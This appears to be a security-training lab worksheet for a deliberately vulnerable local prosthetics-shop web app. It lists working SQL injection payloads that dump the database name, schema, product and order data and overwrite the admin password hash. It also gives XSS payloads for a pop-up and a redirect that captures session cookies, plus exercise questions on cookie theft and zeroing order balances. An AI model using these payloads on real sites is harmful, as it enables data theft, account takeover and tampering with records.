|  |  |
| --- | --- |
|  | SQL Injection |
|  | XSS |

1. Register to site as new user and then log in using your credentials

**\*\*Activities are to be carried out at address listed within parentheses**

|  |  |
| --- | --- |
| Hack Toolkit | |
| Page to use | Code to use |
| **Yield full range of prosthetics (**[**http://localhost/prosthetic2.php**](http://localhost/prosthetic2.php)**)** | ' OR '1’ = 1 |
| **Yield name of database (**[**http://localhost/prosthetic2.php**](http://localhost/prosthetic2.php)**)** | ' and 1=1 union select 1,(select database()),3,4,5,6;-- # |
| **Yield list of database tables and field names.**  **(**[**http://localhost/prosthetic2.php**](http://localhost/prosthetic2.php)**)** | ' and 1=1 union select 1,(select group\_concat(table\_name,column\_name) from information\_schema.columns where table\_schema='sqli' limit 1),3,4,5,6;-- # |
| **Yield list of contents of prosthetic table**  **(**[**http://localhost/prosthetic2.php**](http://localhost/prosthetic2.php)**)** | ' and 1=1 union select 1,(select group\_concat(ID,NAME,PRICE,VENDOR\_CITY,STOCK,FUNCTION) from prosthetic limit 1),3,4,5,6;-- # |
| **Yield list of prosthetic ids and remaining stock**  **(**[**http://localhost/prosthetic2.php**](http://localhost/prosthetic2.php)**)** | ' and 1=1 union select 1,(select group\_concat(ID,STOCK) from prosthetic limit 1),3,4,5,6;-- # |
| **Yield list of order ids, balance, and customer ids from orders table**  **(**[**http://localhost/prosthetic2.php**](http://localhost/prosthetic2.php)**)** | ' and 1=1 union select 1,(select group\_concat(id,balance,cust\_id) from orders limit 1),3,4,5,6;-- # |
| **Change password hash (**[**http://localhost/prosthetic.php**](http://localhost/prosthetic.php)**)**  **SHA512 Generator: (**[**https://goo.gl/vyigw1**](https://goo.gl/vyigw1)**)** | '; UPDATE user SET pwd='Your\_Hash\_Here' WHERE uid='admin' |
| **Make pop up message appear on page**  **(**[**http://localhost/product.php**](http://localhost/product.php)**)** | Gotcha<script> alert("This message will pop up everytime!"); </script> |
| **Auto – redirect page**  **(**[**http://localhost/product.php**](http://localhost/product.php)**)** | Haha I hacked you <script> document.location="http://localhost/cookie/"; </script> |
| **Steal session cookie** | 1. Locate Greenbelt-master folder from file explorer  2. Open cookie folder  3. Open cookie.txt, copy session cookie |

**Questions**

***Use the code provided in your Hack Toolkit to answer the following questions.***

**a. How many prosthetics are currently being sold by Prostec in total?**

**b. What is the name of the application’s database?**

**c. How many tables are in the database? What are their names?**

**d. Generate a list of the contents of the prosthetic table. Paste it here.**

**e. What are the id, price, vendor city, stock remaining, and function for the “HELIX3D HIP JOINT SYSTEM” prosthetic?**

**f. Steal the session cookie for user admin. Paste it here.**

**g. Force “Reviews” page to automatically redirect to a website of your choice.**

***Bonus:*  Use SQL injection to change the balance of each purchase order to $0.00 (using one query). (Hint:** [**http://localhost/oup2.php**](http://localhost/oup2.php)**)**

***Bonus 2:* Change password hash of admin user. (Hint: Passwords are stored using SHA 512 hashing algorithm.)**